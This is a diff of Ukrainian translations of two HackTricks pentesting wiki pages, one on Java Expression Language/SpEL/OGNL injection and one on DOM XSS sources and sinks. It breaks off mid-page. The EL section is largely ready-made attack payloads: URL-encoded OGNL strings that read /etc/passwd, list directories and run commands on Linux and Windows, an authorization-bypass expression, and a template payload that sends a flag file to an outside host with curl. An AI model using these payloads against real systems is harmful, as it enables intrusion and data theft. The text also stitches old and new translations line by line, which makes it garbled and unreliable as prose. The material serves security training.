* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) є **пошуковою системою** на основі **темного вебу**, яка пропонує **безкоштовні** функції для перевірки, чи була **компанія** або її **клієнти** **скомпрометовані** **шкідливими програмами**.
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, що крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
***
## Основна інформація
Мова виразів (EL) є невід'ємною частиною JavaEE для зв'язку рівня презентації (наприклад, веб-сторінок) та логіки додатків (наприклад, керованих бінів), що дозволяє їх взаємодію. Вона використовується переважно в:
Мова виразів (EL) є невід'ємною частиною JavaEE для зв'язку між презентаційним шаром (наприклад, веб-сторінками) та логікою програми (наприклад, керованими об'єктами), що дозволяє їх взаємодію. Вона переважно використовується в:
- **JavaServer Faces (JSF)**: Для зв'язування компонентів користувацького інтерфейсу з даними/діями на бекенді.
- **JavaServer Pages (JSP)**: Для доступу до даних та їхньої маніпуляції в JSP-сторінках.
- **Контексти та ін'єкція залежностей для Java EE (CDI)**: Для сприяння взаємодії рівня вебу з керованими бінами.
* **JavaServer Faces (JSF)**: Для прив'язки компонентів UI до даних/дій на сервері.
* **JavaServer Pages (JSP)**: Для доступу до даних та маніпуляцій у JSP-сторінках.
* **Контексти та впровадження залежностей для Java EE (CDI)**: Для полегшення взаємодії веб-шару з керованими об'єктами.
**Контексти використання**:
- **Spring Framework**: Застосовується в різних модулях, таких як Безпека та Дані.
- **Загальне використання**: Через API SpEL розробниками в мовах на основі JVM, таких як Java, Kotlin та Scala.
* **Spring Framework**: Застосовується в різних модулях, таких як безпека та дані.
* **Загальне використання**: Через API SpEL розробниками в мовах на базі JVM, таких як Java, Kotlin та Scala.
EL присутня в технологіях JavaEE, автономних середовищах та впізнається за розширеннями файлів `.jsp` або `.jsf`, стековими помилками та термінами, такими як "Servlet" у заголовках. Однак її функції та використання певних символів можуть залежати від версії.
EL присутня в технологіях JavaEE, автономних середовищах і розпізнається через розширення файлів `.jsp` або `.jsf`, стекові помилки та терміни, такі як "Servlet" у заголовках. Однак її функції та використання певних символів можуть залежати від версії.
{% hint style="info" %}
Залежно від **версії EL** деякі **функції** можуть бути **Увімкнені** або **Вимкнені**, і зазвичай деякі **символи** можуть бути **заборонені**.
Залежно від **версії EL** деякі **функції** можуть бути **включені** або **вимкнені**, і зазвичай деякі **символи** можуть бути **заборонені**.
{% endhint %}
## Базовий Приклад
## Основний приклад
(Ви можете знайти ще один цікавий навчальний посібник про EL за посиланням [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
(Ви можете знайти ще один цікавий посібник про EL за адресою [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Завантажте з репозиторію [**Maven**](https://mvnrepository.com) файли jar:
Завантажте з репозиторію [**Maven**](https://mvnrepository.com) jar-файли:
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
І створіть файл `Main.java` з наступним вмістом:
І створіть наступний файл `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -63,11 +80,11 @@ System.out.println(result);
}
}
```
Наступне компілюйте код (якщо у вас немає встановленого `javac`, встановіть `sudo apt install default-jdk`):
Далі скомпілюйте код (якщо у вас не встановлений `javac`, встановіть `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Виконайте додаток за допомогою:
Виконайте додаток з:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
@ -76,11 +93,11 @@ Enter a String to evaluate:
```
Зверніть увагу, як у попередньому прикладі термін `{5*5}` був **оцінений**.
## **Посібник на основі CVE**
## **CVE Based Tutorial**
Перевірте це в **цьому пості: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
Перевірте це у **цьому пості:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Пейлоади
## Payloads
### Основні дії
```bash
@ -108,7 +125,7 @@ Enter a String to evaluate:
```
### Виявлення
* Виявлення за допомогою Burp
* Виявлення Burp
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
@ -118,22 +135,22 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Сон 10 секунд
* Спати 10 секунд
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Віддалене включення файлів
### Включення віддалених файлів
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Список каталогів
### Перелік директорій
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
* Базове пояснення RCE
* Основне **пояснення** RCE
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -149,11 +166,11 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* Виконання коду на віддаленому сервері **linux**
* RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* Виконання коду **Windows** (не перевірено)
* RCE **Windows** (не тестувалося)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
@ -193,47 +210,62 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Перевірка середовища
### Інспектування середовища
* `applicationScope` - глобальні змінні додатку
* `applicationScope` - глобальні змінні програми
* `requestScope` - змінні запиту
* `initParam` - змінні ініціалізації додатку
* `sessionScope` - змінні сеансу
* `param.X` - значення параметра, де X - назва параметра HTTP
* `initParam` - змінні ініціалізації програми
* `sessionScope` - змінні сесії
* `param.X` - значення параметра, де X - це назва http параметра
Вам потрібно буде привести ці змінні до типу String, наприклад:
Вам потрібно буде привести ці змінні до типу String, як:
```bash
${sessionScope.toString()}
```
#### Приклад обхіду авторизації
#### Приклад обходу авторизації
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Додаток також може використовувати користувацькі змінні, такі як:
Застосунок також може використовувати власні змінні, такі як:
```bash
${user}
${password}
${employee.FirstName}
```
## Обхід WAF
## WAF Bypass
Перевірте [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## Посилання
## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) - це **dark-web** пошукова система, яка пропонує **безкоштовні** функції для перевірки, чи була **компанія** або її **клієнти** **скомпрометовані** **шкідливими програмами**.
Основна мета WhiteIntel - боротися з захопленням облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
Ви можете перевірити їхній вебсайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці?** Хочете, щоб ваша **компанія рекламувалася на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,34 @@
# DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Вразливості DOM
Вразливості DOM виникають, коли дані з джерел, під контролем атакувальника (наприклад, `location.search`, `document.referrer` або `document.cookie`), небезпечно передаються до **стоків**. Стоки - це функції або об'єкти (наприклад, `eval()`, `document.body.innerHTML`), які можуть виконувати або відображати шкідливий вміст, якщо їм надають зловмисні дані.
- **Джерела** - це вхідні дані, які можуть бути маніпульовані зловмисниками, включаючи URL-адреси, cookies та веб-повідомлення.
- **Стоки** - це потенційно небезпечні кінцеві точки, де зловмисні дані можуть призвести до негативних наслідків, таких як виконання скриптів.
Ризик виникає, коли дані переходять від джерела до стоку без належної перевірки або санітарії, що дозволяє атаки, такі як XSS.
{% hint style="info" %}
**Ви можете знайти більш оновлений список джерел та стоків за посиланням** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
{% endhint %}
**Загальні джерела:**
## DOM Вразливості
DOM вразливості виникають, коли дані з джерел, контрольованих зловмисником (як-от `location.search`, `document.referrer` або `document.cookie`), небезпечно передаються до **синків**. Синки — це функції або об'єкти (наприклад, `eval()`, `document.body.innerHTML`), які можуть виконувати або відображати шкідливий контент, якщо отримують зловмисні дані.
* **Джерела** — це вхідні дані, які можуть бути маніпульовані зловмисниками, включаючи URL-адреси, куки та веб-повідомлення.
* **Синки** — це потенційно небезпечні кінцеві точки, де зловмисні дані можуть призвести до негативних наслідків, таких як виконання скриптів.
Ризик виникає, коли дані передаються з джерела до синка без належної валідації або очищення, що дозволяє атакам, таким як XSS.
{% hint style="info" %}
**You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
{% endhint %}
**Звичайні джерела:**
```javascript
document.URL
document.documentURI
@ -42,9 +45,9 @@ sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```
**Загальні витоки:**
**Загальні місця витоку:**
| [**Відкритий перенаправлення**](dom-xss.md#open-redirect) | [**Внедрення Javascript**](dom-xss.md#javascript-injection) | [**Маніпулювання даними DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| [**Відкритий редирект**](dom-xss.md#open-redirect) | [**Впровадження Javascript**](dom-xss.md#javascript-injection) | [**Маніпуляція DOM-даними**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
@ -56,45 +59,46 @@ Database
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
| `domElem.srcdoc` | **\`\`**[**Маніпулювання локальним шляхом до файлу**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `domElem.srcdoc` | **\`\`**[**Маніпуляція локальним шляхом файлу**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
| **\`\`**[**Маніпулювання запитом Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| **\`\`**[**Маніпуляція Ajax-запитом**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**Маніпулювання посиланням**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `XMLHttpRequest.send()` | [**Маніпуляція посиланнями**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Внедрення JSON на клієнтській стороні**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Маніпулювання зберіганням HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**Внедрення XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Впровадження JSON на стороні клієнта**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Маніпуляція HTML5-сховищем**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**Впровадження XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`Відмова в обслуговуванні`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Маніпулювання кукі**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Маніпулювання доменом документа**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**Забруднення URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
| [**Внедрення SQL на клієнтській стороні**](dom-xss.md#client-side-sql-injection) | [**Маніпулювання веб-повідомленнями**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| **``**[**`Відмова в обслуговуванні`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Маніпуляція куками**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Маніпуляція доменом документа**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**Отруєння URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
| [**Впровадження SQl на стороні клієнта**](dom-xss.md#client-side-sql-injection) | [**Маніпуляція веб-повідомленнями**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` |
**Споживач `innerHTML`** не приймає елементи `script` на будь-якому сучасному браузері, і події `svg onload` не спрацьовуватимуть. Це означає, що вам потрібно використовувати альтернативні елементи, такі як `img` або `iframe`.
Синк **`innerHTML`** не приймає `script` елементи в жодному сучасному браузері, і події `svg onload` не спрацюють. Це означає, що вам потрібно використовувати альтернативні елементи, такі як `img` або `iframe`.
Цей вид XSS, ймовірно, **найважче знайти**, оскільки вам потрібно досліджувати код JS, переглядати, чи **використовує** він будь-який об'єкт, значення якого ви контролюєте, і в такому випадку перевіряти, чи є **який-небудь спосіб зловживання** для виконання довільного JS.
Цей вид XSS, ймовірно, є **найскладнішим для виявлення**, оскільки вам потрібно заглянути в код JS, перевірити, чи **використовується** будь-який об'єкт, значення якого ви контролюєте, і в такому випадку перевірити, чи є **будь-який спосіб зловживання** ним для виконання довільного JS.
## Інструменти для їх пошуку
## Інструменти для їх виявлення
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* Розширення браузера для перевірки всіх даних, які досягають потенційного місця витоку: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## Приклади
### Відкрите перенаправлення
### Відкритий редирект
З: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
**Вразливості відкритого перенаправлення в DOM** виникають, коли скрипт записує дані, якими може керувати зловмисник, у споживача, здатного ініціювати навігацію між доменами.
**Вразливості відкритого редиректу в DOM** виникають, коли скрипт записує дані, які може контролювати зловмисник, у місце витоку, здатне ініціювати навігацію між доменами.
Важливо розуміти, що виконання довільного коду, такого як **`javascript:alert(1)`**, можливе, якщо у вас є контроль над початком URL, де відбувається перенаправлення.
Важливо розуміти, що виконання довільного коду, такого як **`javascript:alert(1)`**, можливе, якщо ви контролюєте початок URL, де відбувається редирект.
Споживачі:
Місця витоку:
```javascript
location
location.host
@ -112,19 +116,21 @@ XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```
### Маніпулювання кукі
### Cookie manipulation
З: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
Уразливості, пов'язані з маніпулюванням кукі на основі DOM, виникають, коли скрипт включає дані, які можуть бути керовані зловмисником, у значення куки. Ця уразливість може призвести до непередбачуваної поведінки веб-сторінки, якщо куки використовуються на сайті. Крім того, її можна використовувати для проведення атаки фіксації сесії, якщо куки використовуються для відстеження сеансів користувача. Основний стік, пов'язаний з цією уразливістю, є:
Уразливості, пов'язані з маніпуляцією cookie на основі DOM, виникають, коли скрипт включає дані, які можуть контролюватися зловмисником, у значення cookie. Ця уразливість може призвести до несподіваної поведінки веб-сторінки, якщо cookie використовується на сайті. Крім того, її можна експлуатувати для здійснення атаки фіксації сесії, якщо cookie залучено до відстеження сесій користувачів. Основний sink, пов'язаний з цією уразливістю, це:
Sinks:
```javascript
document.cookie
```
### Впровадження JavaScript
### JavaScript Injection
З: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
Уразливості впровадження JavaScript на основі DOM створюються, коли скрипт запускає дані, які можуть бути контрольовані зловмисником, як код JavaScript.
Вразливості DOM-орієнтованої ін'єкції JavaScript виникають, коли скрипт виконує дані, які можуть контролюватися зловмисником, як код JavaScript.
Sinks:
```javascript
@ -139,45 +145,47 @@ msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
```
### Маніпулювання документ-доменом
### Document-domain manipulation
З: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
Вразливості маніпулювання документ-доменом виникають, коли скрипт встановлює властивість `document.domain`, використовуючи дані, якими може керувати зловмисник.
**Вразливості маніпуляції з документом-доменом** виникають, коли скрипт встановлює властивість `document.domain`, використовуючи дані, якими може керувати зловмисник.
Властивість `document.domain` відіграє **ключову роль** в **забезпеченні** політики **однакового походження** браузерами. Коли дві сторінки з різних джерел встановлюють свої `document.domain` на **одне значення**, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні **обмеження** на значення, які можна призначити `document.domain`, запобігаючи призначенню абсолютно неспівмірних значень фактичному походженню сторінки, існують винятки. Зазвичай браузери дозволяють використання **дочірніх** або **батьківських доменів**.
Властивість `document.domain` відіграє **ключову роль** у **забезпеченні** **політики однакового походження** браузерами. Коли дві сторінки з різних походжень встановлюють свій `document.domain` на **однакове значення**, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні **обмеження** на значення, які можна присвоювати `document.domain`, заважаючи присвоєнню абсолютно несумісних значень фактичному походженню сторінки, існують винятки. Зазвичай браузери дозволяють використання **дочірніх** або **батьківських доменів**.
Витоки:
Sinks:
```javascript
document.domain
```
### Отруєння URL WebSocket
### WebSocket-URL poisoning
З: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
Отруєння URL WebSocket відбувається, коли скрипт використовує **керовані дані як цільовий URL** для підключення WebSocket.
**WebSocket-URL poisoning** відбувається, коли скрипт використовує **керовані дані як цільовий URL** для з'єднання WebSocket.
Витоки:
Sinks:
Конструктор `WebSocket` може призвести до вразливостей отруєння URL WebSocket.
Конструктор `WebSocket` може призвести до вразливостей WebSocket-URL poisoning.
### Маніпулювання посиланнями
### Link manipulation
